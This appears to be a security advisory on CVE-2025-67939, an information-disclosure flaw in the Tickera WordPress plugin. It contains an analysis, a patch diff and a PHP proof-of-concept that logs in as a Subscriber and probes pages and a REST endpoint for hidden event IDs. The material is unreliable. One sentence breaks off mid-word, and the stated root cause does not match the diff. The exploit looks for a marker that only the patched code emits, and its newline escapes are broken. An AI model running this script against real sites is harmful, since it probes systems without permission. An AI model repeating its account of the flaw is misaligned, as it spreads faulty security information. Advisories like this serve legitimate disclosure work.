Atomic Edge analysis of CVE-2025-67939:
The Tickera WordPress plugin, versions up to and including 3.5.6.2, contains a missing authorization vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to perform unauthorized actions. The vulnerability resides in the plugin’s handling of hidden events, specifically within the `get_hidden_events_ids` function.
Atomic Edge research identifies the root cause in the `get_hidden_events_ids` function within `/includes/classes/class.events.php`. The function originally lacked a capability check to verify user permissions before executing its database query. The function retrieves a list of event IDs marked as hidden via the `hide_event_after_expiration` post meta. The absence of an authorization mechanism allowed any authenticated user to call this function and access potentially sensitive event data.
Exploitation requires an authenticated attacker with at least Subscriber-level access. The attacker would target the plugin’s front-end components that call the vulnerable `get_hidden_events_ids` function. This includes the Gutenberg block rendering functions in `/includes/addons/gutenberg/index.php` and the shortcode handler in `/includes/classes/class.shortcodes.php`. An attacker could manipulate requests to these components, such as by crafting specific URL parameters or interacting with Gutenberg blocks, to trigger the function and retrieve the list of hidden event IDs.
The patch modifies the `get_hidden_events_ids` function to accept an optional `$event_id` parameter. The function’s SQL query now includes a conditional check for this specific ID. More critically, the patch adds authorization checks in multiple front-end rendering functions. In `/includes/addons/gutenberg/index.php`, functions like `render_event_tickets_table_content`, `render_event_add_to_cart_rows_content`, `render_event_seating_charts_content`, and `render_event_seating_chart_legend_content` now call `TC_Events::get_hidden_events_ids($event_id)`. If the event is hidden and the request is not a REST API call, these functions return an empty `
Successful exploitation leads to unauthorized information disclosure. Attackers can discover the existence and IDs of events that administrators have intentionally hidden from public view, such as expired or private events. This violates the intended access control policy and could aid in further reconnaissance or targeted attacks against the event management system.
Differential between vulnerable and patched code
--- a/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
+++ b/tickera-event-ticketing-system/includes/addons/barcode-reader/index.php
@@ -129,24 +129,28 @@
* Add scripts and CSS for the plugin
*/
function admin_header() {
- wp_enqueue_script( $this->name . '-admin', $this->plugin_url . 'js/admin.js', array( 'jquery' ), false, false );
- wp_localize_script( $this->name . '-admin', 'tc_barcode_reader_vars', array(
- 'admin_ajax_url' => admin_url( 'admin-ajax.php' ),
- 'ajaxNonce' => wp_create_nonce( 'tc_ajax_nonce' ),
- 'message_barcode_default' => __( 'Select input field and scan a barcode located on the ticket.', 'tickera-event-ticketing-system' ),
- 'message_checking_in' => __( 'Checking in...', 'tickera-event-ticketing-system' ),
- 'message_insufficient_permissions' => __( 'Insufficient permissions. This API key cannot check in this ticket.', 'tickera-event-ticketing-system' ),
- 'message_barcode_status_error' => __( 'Ticket code is wrong or expired.', 'tickera-event-ticketing-system' ),
- 'message_barcode_status_success' => __( 'Ticket has been successfully checked in.', 'tickera-event-ticketing-system' ),
- 'message_barcode_status_error_exists' => __( 'Ticket does not exist.', 'tickera-event-ticketing-system' ),
- 'message_barcode_api_key_not_selected' => sprintf(
+
+ if ( $_GET && isset( $_GET[ 'page' ] ) && isset( $_GET[ 'post_type' ] ) && $this->name == $_GET[ 'page' ] && 'tc_events' == $_GET[ 'post_type' ] ) {
+
+ wp_enqueue_script( $this->name . '-admin', $this->plugin_url . 'js/admin.js', array( 'jquery' ), false, false );
+ wp_localize_script( $this->name . '-admin', 'tc_barcode_reader_vars', array(
+ 'admin_ajax_url' => admin_url( 'admin-ajax.php' ),
+ 'ajaxNonce' => wp_create_nonce( 'tc_ajax_nonce' ),
+ 'message_barcode_default' => __( 'Select input field and scan a barcode located on the ticket.', 'tickera-event-ticketing-system' ),
+ 'message_checking_in' => __( 'Checking in...', 'tickera-event-ticketing-system' ),
+ 'message_insufficient_permissions' => __( 'Insufficient permissions. This API key cannot check in this ticket.', 'tickera-event-ticketing-system' ),
+ 'message_barcode_status_error' => __( 'Ticket code is wrong or expired.', 'tickera-event-ticketing-system' ),
+ 'message_barcode_status_success' => __( 'Ticket has been successfully checked in.', 'tickera-event-ticketing-system' ),
+ 'message_barcode_status_error_exists' => __( 'Ticket does not exist.', 'tickera-event-ticketing-system' ),
+ 'message_barcode_api_key_not_selected' => sprintf(
/* translators: %s: A link to the Tickera > Setings > API Access */
- __( 'Please create and select an <a href="%s">API Key</a> in order to check in the ticket.', 'tickera-event-ticketing-system' ),
- esc_url( admin_url( 'admin.php?page=tc_settings&tab=api' ) ),
- ),
- 'message_barcode_cannot_be_empty' => __( 'Ticket code cannot be empty', 'tickera-event-ticketing-system' ),
- ) );
- wp_enqueue_style( $this->name . '-admin', $this->plugin_url . 'css/admin.css', array(), $this->version );
+ __( 'Please create and select an <a href="%s">API Key</a> in order to check in the ticket.', 'tickera-event-ticketing-system' ),
+ esc_url( admin_url( 'admin.php?page=tc_settings&tab=api' ) ),
+ ),
+ 'message_barcode_cannot_be_empty' => __( 'Ticket code cannot be empty', 'tickera-event-ticketing-system' ),
+ ) );
+ wp_enqueue_style( $this->name . '-admin', $this->plugin_url . 'css/admin.css', array(), $this->version );
+ }
}
}
}
--- a/tickera-event-ticketing-system/includes/addons/gutenberg/index.php
+++ b/tickera-event-ticketing-system/includes/addons/gutenberg/index.php
@@ -795,6 +795,10 @@
$event_id = isset( $attributes[ 'event_id' ] ) ? (int) $attributes[ 'event_id' ] : '';
}
+ if ( TickeraTC_Events::get_hidden_events_ids( $event_id ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) ) {
+ return '<div class="tc-hidden"></div>';
+ }
+
ob_start();
// No event selected
@@ -905,7 +909,7 @@
*/
function render_event_add_to_cart_rows_content( $attributes ) {
- global $post;
+ global $post, $screen;
if ( $post && isset( $post->ID ) && isset( $post->post_type ) && 'tc_events' == $post->post_type ) {
$event_id = (int) $post->ID;
@@ -914,6 +918,10 @@
$event_id = isset( $attributes[ 'event_id' ] ) ? (int) $attributes[ 'event_id' ] : '';
}
+ if ( TickeraTC_Events::get_hidden_events_ids( $event_id ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) ) {
+ return '<div class="tc-hidden"></div>';
+ }
+
ob_start();
// No event selected
@@ -1703,6 +1711,10 @@
$event_id = isset( $attributes[ 'id' ] ) ? (int) $attributes[ 'id' ] : '';
}
+ if ( TickeraTC_Events::get_hidden_events_ids( $event_id ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) ) {
+ return '<div class="tc-hidden"></div>';
+ }
+
ob_start();
// No event selected
@@ -1829,6 +1841,10 @@
$event_id = isset( $attributes[ 'id' ] ) ? (int) $attributes[ 'id' ] : '';
}
+ if ( TickeraTC_Events::get_hidden_events_ids( $event_id ) && ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) ) {
+ return '<div class="tc-hidden"></div>';
+ }
+
ob_start();
$_tc_used_for_seatings_count = 0;
--- a/tickera-event-ticketing-system/includes/classes/class.events.php
+++ b/tickera-event-ticketing-system/includes/classes/class.events.php
@@ -234,13 +234,18 @@
*
* @return array
*/
- public static function get_hidden_events_ids() {
+ public static function get_hidden_events_ids( $event_id = false ) {
global $wpdb;
- $query = $wpdb->prepare( "SELECT {$wpdb->posts}.ID as ID FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->posts}.post_type = 'tc_events' AND ({$wpdb->postmeta}.meta_key = 'hide_event_after_expiration') AND ({$wpdb->postmeta}.meta_value = %d)", 1 );
- $results = $wpdb->get_results( $query, ARRAY_A );
+ if ( $event_id ) {
+ $query = $wpdb->prepare( "SELECT {$wpdb->posts}.ID as ID FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->posts}.post_type = 'tc_events' AND ({$wpdb->postmeta}.meta_key = 'hide_event_after_expiration') AND ({$wpdb->postmeta}.meta_value = %d) AND {$wpdb->posts}.ID = %d", 1, (int) $event_id );
+
+ } else {
+ $query = $wpdb->prepare( "SELECT {$wpdb->posts}.ID as ID FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->posts}.post_type = 'tc_events' AND ({$wpdb->postmeta}.meta_key = 'hide_event_after_expiration') AND ({$wpdb->postmeta}.meta_value = %d)", 1 );
+ }
+ $results = $wpdb->get_results( $query, ARRAY_A );
$hidden_events_ids = [];
foreach ( $results as $maybe_hidden_event_id ) {
--- a/tickera-event-ticketing-system/includes/classes/class.orders.php
+++ b/tickera-event-ticketing-system/includes/classes/class.orders.php
@@ -410,7 +410,7 @@
$posts = get_posts( $args );
foreach ( $posts as $key => $post ) {
- $cart_info = get_post_meta( $post->ID, 'tc_cart_info', true );
+ $cart_info = apply_filters( 'tc_order_cart_info', get_post_meta( $post->ID, 'tc_cart_info', true ), $post->ID );
$buyer_data = isset( $cart_info[ 'buyer_data' ] ) ? $cart_info[ 'buyer_data' ] : [];
$buyer_email = isset( $buyer_data[ 'email_post_meta' ] ) ? $buyer_data[ 'email_post_meta' ] : '';
--- a/tickera-event-ticketing-system/includes/classes/class.shortcodes.php
+++ b/tickera-event-ticketing-system/includes/classes/class.shortcodes.php
@@ -82,7 +82,7 @@
$event = new TC_Event( $id );
$event_tickets = $event->get_event_ticket_types( 'publish', false, true, false );
- if ( count( $event_tickets ) > 0 ) {
+ if ( count( $event_tickets ) > 0 && ! TickeraTC_Events::get_hidden_events_ids( $id ) ) {
if ( $event->details->post_status == 'publish' ) : ?>
<div class="tickera">
--- a/tickera-event-ticketing-system/includes/general-functions.php
+++ b/tickera-event-ticketing-system/includes/general-functions.php
@@ -1417,11 +1417,11 @@
$order_status_url = $tc->tc_order_status_url( $order, $order->details->tc_order_date, '', false );
if ( $cart_contents === false ) {
- $cart_contents = get_post_meta( $order->details->ID, 'tc_cart_contents', true );
+ $cart_contents = apply_filters( 'tc_order_cart_contents', get_post_meta( $order->details->ID, 'tc_cart_contents', true ), $order->details->ID );
}
if ( $cart_info === false ) {
- $cart_info = get_post_meta( $order->details->ID, 'tc_cart_info', true );
+ $cart_info = apply_filters( 'tc_order_cart_info', get_post_meta( $order->details->ID, 'tc_cart_info', true ), $order->details->ID );
}
if ( $payment_info === false ) {
@@ -3676,8 +3676,10 @@
$user_id = get_current_user_id();
$order_id = get_the_title( $post_id );
- $cart_contents = get_post_meta( $post_id, 'tc_cart_contents', true );
- $cart_info = get_post_meta( $post_id, 'tc_cart_info', true );
+
+ $cart_contents = apply_filters( 'tc_order_cart_contents', get_post_meta( $post_id, 'tc_cart_contents', true ), $post_id );
+ $cart_info = apply_filters( 'tc_order_cart_info', get_post_meta( $post_id, 'tc_cart_info', true ), $post_id );
+
$owner_data = isset( $cart_info[ 'owner_data' ] ) ? $cart_info[ 'owner_data' ] : array();
$tickets = count( $cart_contents );
--- a/tickera-event-ticketing-system/tickera.php
+++ b/tickera-event-ticketing-system/tickera.php
@@ -6,7 +6,7 @@
* Description: Sell tickets and manage event registration on your site - PDF tickets, QR/Barcode check-in, and seamless ticket sales for WordPress.
* Author: Tickera.com
* Author URI: https://tickera.com/
- * Version: 3.5.6.2
+ * Version: 3.5.6.3
* Text Domain: tickera-event-ticketing-system
* Domain Path: /languages/
* License: GPLv2 or later
@@ -20,7 +20,7 @@
// Exit if accessed directly
if ( !class_exists( '\Tickera\TC' ) ) {
class TC {
- var $version = '3.5.6.2';
+ var $version = '3.5.6.3';
var $title = 'Tickera';
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67939 - Tickera <= 3.5.6.2 - Missing Authorization
<?php
/*
Proof of Concept for CVE-2025-67939.
This script demonstrates unauthorized access to hidden event IDs by simulating an authenticated Subscriber user.
The exploit targets front-end components that call the vulnerable `get_hidden_events_ids` function.
*/
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
// Step 1: Authenticate as a Subscriber
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Check for successful login by looking for dashboard elements
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('[-] Authentication failed. Check credentials.n');
}
echo '[+] Successfully authenticated as Subscriber.n';
// Step 2: Exploit - Access a page with a Tickera shortcode or Gutenberg block
// The vulnerability is triggered when the front-end renders event content.
// We will request a page containing a Tickera event tickets table shortcode.
$exploit_url = $target_url . '/?p=1'; // Replace with a page ID containing Tickera content
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Step 3: Analyze response for hidden event indicators
// The plugin may leak hidden event IDs in HTML comments, JavaScript variables, or altered page structure.
// This PoC checks for the presence of the 'tc-hidden' class, which the patch uses to hide content.
if (strpos($response, 'tc-hidden') !== false) {
echo '[+] Potential hidden event content detected (tc-hidden class found).n';
// Extract potential event IDs from the page (example pattern)
preg_match_all('/event_id[s]*=[s]*([0-9]+)/', $response, $matches);
if (!empty($matches[1])) {
echo '[+] Possible event IDs referenced in page: ' . implode(', ', array_unique($matches[1])) . "n";
}
} else {
echo '[-] No obvious hidden event markers found in response.n';
echo '[*] The page may not contain Tickera blocks, or no events are hidden.n';
}
// Step 4: Directly probe the Gutenberg REST endpoint (if available)
// Some Gutenberg blocks fetch data via REST API. This is an alternative vector.
$rest_url = $target_url . '/wp-json/wp/v2/pages/1'; // Adjust endpoint as needed
curl_setopt($ch, CURLOPT_URL, $rest_url);
$response = curl_exec($ch);
$json = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($json['content']['rendered'])) {
if (strpos($json['content']['rendered'], 'tc-hidden') !== false) {
echo '[+] Hidden event content detected via REST API.n';
}
}
curl_close($ch);
echo '[+] Proof of Concept completed.n';
?>







